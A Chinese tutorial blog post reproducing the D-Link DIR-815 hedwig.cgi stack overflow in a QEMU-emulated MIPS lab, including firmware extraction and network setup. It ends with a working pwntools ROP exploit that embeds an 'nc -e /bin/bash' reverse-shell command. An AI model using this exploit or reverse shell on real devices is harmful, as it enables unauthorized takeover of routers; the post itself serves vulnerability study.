从零到一:复现 DIR-815 栈溢出漏洞

从零到一:复现 DIR-815 栈溢出漏洞

实验环境

执行命令uname -a可以查看到当前系统版本

在这里插入图片描述

我这边采用桥接模式进行实验。

在这里插入图片描述

环境搭建

文章命令操作均在root下操作,且git clone xxxx.git下载所用到工具都均下载保存到/opt/tools/文件夹下,方便统一管理。

在这里插入图片描述

先搭建好PWN环境,PWN搭建参考教程:https://blog.csdn.net/qq_44223394/article/details/127434471

PWN环境搭建好后,下面开始安装binwalk、sasquatch、qemu、网络配置等等。

安装binwalk

sudo apt-get install binwalk

安装Sasquatch

sudo apt-get install build-essential liblzma-dev liblzo2-dev zlib1g-dev

cd /opt/tools/

sudo git clone https://github.com/devttys0/sasquatch

cd ./sasquatch

chmod +x build.sh

./build.sh

安装qemu

sudo apt update && sudo apt install qemu qemu-user qemu-user-static qemu-system
sudo apt-get install binfmt-support libncurses5-dev gcc-arm-linux-gnueabi build-essential synaptic gcc-aarch64-linux-gnu

#安装依赖库:
sudo apt-get install -y gcc-arm-linux-gnueabi

安装完成后使用命令验证安装是否成功

qemu-system-x86_64 --version

在这里插入图片描述

即安装成功。

网络配置搭建

安装网络配置工具:

sudo apt-get install bridge-utils uml-utilities

ip addr 查看ubuntu本机的ip地址为192.168.10.60,就是能上网的网卡名字是ens33

在这里插入图片描述

vim /etc/network/interfaces

如果实验的时候,不是ens33,则下面的ens33文字改成你实验的网卡名字就行了。

然后按i 键,将下面这段配置粘过去

auto lo
iface lo inet loopback

auto ens33
iface ens33  inet dhcp
up ifconfig ens33 0.0.0.0 up

auto br0
iface br0 inet dhcp

bridge_ports ens33
bridge_maxwait 0

然后按ESC键,在按:wq保存退出。

sudo /etc/init.d/networking restart 重启一下网络配置。

vim /etc/qemu-ifup

写入下面的配置:

#!/bin/sh
echo "Executing /etc/qemu-ifup"
echo "Bringing up $1 for bridge mode..."
sudo /sbin/ifconfig $1 0.0.0.0 promisc up
echo "Adding $1 to br0..."
sudo /sbin/brctl addif br0 $1
sleep 2

sudo chmod a+x /etc/qemu-ifup命令赋予权限。

vim /etc/qemu/bridge.conf

写入allow br0即可。

使用qemu-system-mipsel参考链接:https://blog.csdn.net/qq_43390703/article/details/120978954

vim /opt/tools/mipsel/network_config.sh

我这边虚拟机的网卡是ens33,如果你那边不是,请将下面配置中的ens33改成你那边网卡名字所对应的即可。然后修改下面配置的192.168.10.60改成你实验ubuntu虚拟机的网卡ip地址,然后将下面配置保存到network_config.sh脚本里,

sudo ifconfig ens33 down    # 首先关闭宿主机网卡接口
sudo brctl addbr br0                     # 添加名为 br0 的网桥
sudo brctl addif br0 ens33               # 在 br0 中添加一个接口
sudo brctl stp br0 off                   # 如果只有一个网桥,则关闭生成树协议
sudo brctl setfd br0 1                   # 设置 br0 的转发延迟
sudo brctl sethello br0 1                # 设置 br0 的 hello 时间
sudo ifconfig br0 0.0.0.0 promisc up     # 启用 br0 接口
sudo ifconfig ens33 0.0.0.0 promisc up   # 启用网卡接口
sudo dhclient br0                        # 从 dhcp 服务器获得 br0 的 IP 地址
sudo ifconfig ens33 up

# 下面是创建TAP设备
sudo tunctl -t tap0 -u root              # 创建一个 tap0 接口,只允许 root 用户访问
sudo brctl addif br0 tap0                # 在虚拟网桥中增加一个 tap0 接口
sudo ifconfig tap0 0.0.0.0 promisc up    # 启用 tap0 接口

# 注意下面的192.168.10.60改成你实验ubuntu虚拟机的网卡ip地址
sudo brctl addbr Virbr0 
sudo ifconfig Virbr0 192.168.10.60/24 up 
sudo tunctl -t tap0 
sudo ifconfig tap0 192.168.10.60/24 up 
sudo brctl addif Virbr0 tap0

保存配置后

cd /opt/tools/mipsel/

chmod 777 network_config.sh

./network_config.sh 可以看到

在这里插入图片描述

ip addr,若过出现如下图所示,即网络配置搭建完成。

在这里插入图片描述

sudo brctl show br0 查看虚拟网桥列表

sudo brctl showstp br0 查看 br0 的各接口信息

ifconfig 可查看网络IP地址相关配置

sudo brctl showstp br0 显示 br0 的各个接口

sudo brctl showstp br0 显示 br0 的各个接口

注:在网络环境按上述配置完成后,重启下Ubuntu虚拟机。

配置qemu虚拟机

cd /opt/tools

mkdir mipsel

cd ./mipsel

由于该固件是32位小端序的mips架构,因此,我们也要下载相对应的内核及镜像文件。
下载地址:https://people.debian.org/~aurel32/qemu/mipsel/.
下载其中的vmlinux-3.2.0-4-4kc-malta内核以及debian_squeeze_mipsel_standard.qcow2镜像文件。

执行下面两句命令进行下载

wget https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta

wget https://people.debian.org/~aurel32/qemu/mipsel/debian_squeeze_mipsel_standard.qcow2

然后新建启动qemu的脚本,命名为start.sh

vim /opt/tools/mipsel/start.sh

下面配置写入start.sh

sudo qemu-system-mipsel \
    -M malta -kernel vmlinux-3.2.0-4-4kc-malta \
    -hda debian_squeeze_mipsel_standard.qcow2 \
    -append "root=/dev/sda1 console=tty0" \
    -nographic \
    -net nic,macaddr=00:16:3e:00:00:01 \
    -net tap,ifname=tap0,script=no,downscript=no

如果要启动qemu,则运行start.sh即可。如下图所示

在这里插入图片描述

login和password都是root,就成功进入qemu仿真机系统。

在这里插入图片描述

在qemu仿真机系统中执行

ip addr

在这里插入图片描述

可以看到

qemu仿真机系统的ip地址为:192.168.10.67

ubuntu的ip地址为:192.168.10.60

且都是可以ping通的

在这里插入图片描述
至此,qemu仿真机就成功搭建完成了。

漏洞分析

下载解压固件

固件下载:https://pmdap.dlink.com.tw/PMD/GetAgileFile?itemNumber=FIR1000487&fileName=DIR-815A1_FW101SSB03.bin&fileSize=3784844.0

或 https://support.dlink.com/

在ubuntu里,我这里在桌面上新建了如下图的路径

在这里插入图片描述

把下载好的固件放在DIR-815文件里。

使用命令binwalk -Me DIR-815A1_FW101SSB03.bin将固件包通过binwalk解压

在这里插入图片描述

在固件目录下生成_DIR-815A1_FW101SSB03.bin.extracted的文件夹。

/iot/DIR-815/_DIR-815A1_FW101SSB03.bin.extracted/squashfs-root 存放的是路由器系统的相关文件。

本文是用IDA逆向分析的二进制文件是/squashfs-root/htdocs/cgibin

我们查看一下cgibin系统文件

file cgibin

在这里插入图片描述

可以看到,cgibin: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped

我们进到cd iot/DIR-815/_DIR-815A1_FW101SSB03.bin.extracted 文件夹内

执行 (注:这里的ip要改成你那边qemu仿真机的ip)

scp -r ./squashfs-root root@192.168.10.67:/root/squashfs-root

就是将squashfs-root的路由器配置文件上传到qemu仿真机里。

在这里插入图片描述

如上图所示,在qemu仿真机里可以看到上传完成了。

qemu开启hhtpd服务

用ubuntu的nmap扫一下仿真机的开启了哪些端口。

192.168.10.67为qemu的ip地址

nmap 192.168.10.67

在这里插入图片描述

可以看到开启了22端口,并未开启80端口。

在qemu虚拟机的squashfs-root目录下新建一个http_conf配置文件,

nano http_con

里面写入

注:需要改一下自己设置的网卡,IP,端口):

Umask 026
PIDFile /var/run/httpd.pid
LogGMT On  #开启log
ErrorLog /log #log文件

Tuning
{
    NumConnections 15
    BufSize 12288
    InputBufSize 4096
    ScriptBufSize 4096
    NumHeaders 100
    Timeout 60
    ScriptTimeout 60
}

Control
{
    Types
    {
        text/html    { html htm }
        text/xml    { xml }
        text/plain    { txt }
        image/gif    { gif }
        image/jpeg    { jpg }
        text/css    { css }
        application/octet-stream { * }
    }
    Specials
    {
        Dump        { /dump }
        CGI            { cgi }
        Imagemap    { map }
        Redirect    { url }
    }
    External
    {
        /usr/sbin/phpcgi { php }
    }
}


Server
{
    ServerName "Linux, HTTP/1.1, "
    ServerId "1234"
    Family inet
    Interface eth1  #对应qemu仿真路由器系统的网卡
    Address 192.168.10.67 #qemu仿真路由器系统的IP
    Port "80" #对应未被使用的端口
    Virtual
    {
        AnyHost
        Control
        {
            Alias /
            Location /htdocs/web
            IndexNames { index.php }
            External
            {
                /usr/sbin/phpcgi { router_info.xml }
                /usr/sbin/phpcgi { post_login.xml }
            }
        }
        Control
        {
            Alias /HNAP1
            Location /htdocs/HNAP1
            External
            {
                /usr/sbin/hnap { hnap }
            }
            IndexNames { index.hnap }
        }
    }
}

在这里插入图片描述

ctrl + x ,再按回车,再按y保存,或n不保存,然后回车。

Ubuntu 20.04物理机上/opt/tools/mipsel新建init.sh,写入下面配置。

#! /bin/sh
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT

保存。

chmod 777 init.sh

./init.sh 运行脚本即可。

qemu虚拟机的squashfs-root目录下创建init.sh的脚本进行初始化操作:

nano init.sh,写入下面这些配置

#!/bin/bash
echo 0 > /proc/sys/kernel/randomize_va_space
cp http_conf /
cp sbin/httpd /
cp -rf htdocs/ /
mkdir /etc_bak
cp -r /etc /etc_bak
rm /etc/services
cp -rf etc/ /
cp lib/ld-uClibc-0.9.30.1.so  /lib/
cp lib/libcrypt-0.9.30.1.so  /lib/
cp lib/libc.so.0  /lib/
cp lib/libgcc_s.so.1  /lib/
cp lib/ld-uClibc.so.0  /lib/
cp lib/libcrypt.so.0  /lib/
cp lib/libgcc_s.so  /lib/
cp lib/libuClibc-0.9.30.1.so  /lib/
cd /
rm -rf /htdocs/web/hedwig.cgi
rm -rf /usr/sbin/phpcgi
rm -rf /usr/sbin/hnap
ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi
ln -s  /htdocs/cgibin /usr/sbin/hnap
./httpd -f http_conf

注:echo 0 > /proc/sys/kernel/randomize_va_space关闭地址随机化

然后在qemu里运行./init.sh

qemu虚拟机的squashfs-root目录下创建fin.sh的脚本进行初始化操作:

nano fin.sh,写入下面这些配置

#!/bin/bash
rm -rf /etc
mv /etc_bak/etc /etc
rm -rf /etc_bak

注:退出qemu虚拟机的时候,记得运行fin.sh的脚本恢复/etc文件夹

下面是开启httpd服务

在qemu仿真机里,进到/squashfs-root/sbin

运行 ./httpd -f /root/squashfs-root/http_conf

浏览器访问 http://192.168.10.67/hedwig.cgi

在这里插入图片描述
可以看到正常访问了。

IDA安装使用MIPSROP插件

IDA7.5 使用MIPSROP插件参考

https://blog.csdn.net/niu_niu_/article/details/125566287

https://bbs.kanxue.com/thread-266102.htm

windows上下载:https://bbs.kanxue.com/attach-download-236502-8d1a29c4a83046d584fd66d604eb6736@A5NoR_2FLZ5Fp6vrvU788dBg_3D_3D.htm

在这里插入图片描述

将这两个文件放在xxxxx\IDA_Pro_v7.5_Portable\plugins\里面,然后重启IDA。

在这里插入图片描述
在这里插入图片描述

在命令行中输入mipsrop.stackfinders() 回车即可

在这里插入图片描述

看到能运行插件,即安装成功了。

exp

在ubuntu里执行

echo 0 > /proc/sys/kernel/randomize_va_space

两种构造ROP链的方式:第一种就是纯ROP链,通过调用system函数来getshell;第二种就是通过构造ROP链,跳转至读入到栈/bss段等处的shellcode执行。在实际应用中,最常用的还是通过ROP + shellcode的方式来getshell

在ubuntu里/opt/tools/mipsel/里下载gdbserver.mipsle

wget https://github.com/rapid7/embeddedtools/blob/master/binaries/gdbserver/gdbserver.mipsle

然后将gdbserver.mipsle上传到qemu的squashfs-root文件夹内

scp -r ./gdbserver.mipsle root@192.168.10.67:/root/squashfs-root

qemu/root/squashfs-root/用新建run.sh脚本启动:

nano run.sh

写入下面配置

#!/bin/bash
export CONTENT_LENGTH="11"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="uid=`cat payload`"
export REQUEST_METHOD="POST"
export REQUEST_URI="2333"
#echo "winmt=pwner"|./gdbserver.mipsel 192.168.10.60:6666 /htdocs/web/hedwig.cgi
echo "winmt=pwner"|/htdocs/web/hedwig.cgi
unset CONTENT_LENGTH
unset CONTENT_TYPE
unset HTTP_COOKIE
unset REQUEST_METHOD
unset REQUEST_URI

注:

#echo "winmt=pwner"|./gdbserver.mipsel 192.168.10.60:6666 /htdocs/web/hedwig.cgi

这一行代码是与gdb-multiarch调试的时候开启。
192.168.10.60 为ubuntu的地址,`6666`是自己设置的连接的端口,直接用gdb-multiarch设置好架构后,用target remote 192.168.10.67:6666连上即可。其中192.168.10.67为qemu的地址。

------------------------------------

# echo "winmt=pwner"|/htdocs/web/hedwig.cgi
这行代码是直接生成了payload直接攻击。

在ubuntu里/opt/tools/mipsel/里新建exp.py

vim exp.py

纯ROP链

写入(注:ip要改)

from pwn import *
context(os = 'linux', arch = 'mips', log_level = 'debug')

# 这里ip是ubuntu的ip地址,端口8888,进行监听
cmd = b'nc -e /bin/bash 192.168.10.60 8888'
 
libc_base = 0x77f34000
 
payload = b'a'*0x3cd
payload += p32(libc_base + 0x53200 - 1) # s0  system_addr - 1
payload += p32(libc_base + 0x169C4) # s1  addiu $s2, $sp, 0x18 (=> jalr $s0)
payload += b'a'*(4*7)
payload += p32(libc_base + 0x32A98) # ra  addiu $s0, 1 (=> jalr $s1)
payload += b'a'*0x18
payload += cmd
 
fd = open("payload", "wb")
fd.write(payload)
fd.close()

与运行exp.py

python3 exp.py

在目录会生成payload文件,将这个文件上传到qemu的squashfs-root文件夹里

scp -r ./payload root@192.168.10.67:/root/squashfs-root

然后在ubuntu里新建一个终端,进行端口监听,等待反弹shell

nc -lvnp 8888

在qemu中squashfs-root里,执行刚才新建的run.sh在ubuntu可以见到已经成功反弹了shell,并可执行命令。

在这里插入图片描述

至此,漏洞复现完成。

参考资料

https://bbs.kanxue.com/thread-272318.htm?source=1

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
推荐,网络安全中的漏洞挖掘实践合集,仅供大家学习参阅,包含内容如下: 针对现实应用的文本对抗攻击研究 安全众测下的漏洞发展新趋势 安卓应用漏洞挖掘 从0到1-发现与拓展攻击面 对基于Git的版本控制服务的通用攻击面的探索 对民用飞行控制系统固件的逆向与漏洞分析 卫星通信的安全缺陷 基于全流量的智慧漏洞挖掘 基于运行时类型嗅探技术提高模糊测试的漏洞发掘效果 漏洞挖掘进化论-推开xray之门 逆向在漏洞挖掘中的应用 苹果攻击面和漏洞挖掘自动化研究 如何从高赏金项目中拿到高危 如何去挖掘物联网环境中的高级恶意软件威胁 如何在3个月发现 12 个内核信息泄露漏洞 沙箱内持久化.行之有效的沙箱攻击新思路 深度解析Weblogic_XMLDecoder反序列化 使用数据流敏感模糊测试发现漏洞 锁不住的安全 谈谈工业协议转换器的一些问题 逃逸IE浏览器沙箱-在野0Day漏洞利用复现 为何自动化漏洞挖掘如此困难 现代可抵赖后门研究 一扇虚掩的大门-现代智能系统的重要攻击面 源代码漏洞挖掘 远程root现代安卓设备 在现代Windows内核中发现存在20年的漏洞 针对智能设备漏洞挖掘的一些新方法 AI用于软件漏洞挖掘 AndroidWebView安全攻防指南2020 Java反序列化漏洞自动挖掘方法 macOS从运行库劫持到内核提权 MTK安全启动大剖析.CIS大会分论 MyBatis框架下SQL注入解决方案 Qemu-kvm和ESXi虚拟机逃逸实例分享 WEB常见漏洞与挖掘技巧研究 Web漏洞挖掘速成特训营 混合式漏洞挖掘研究进展

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值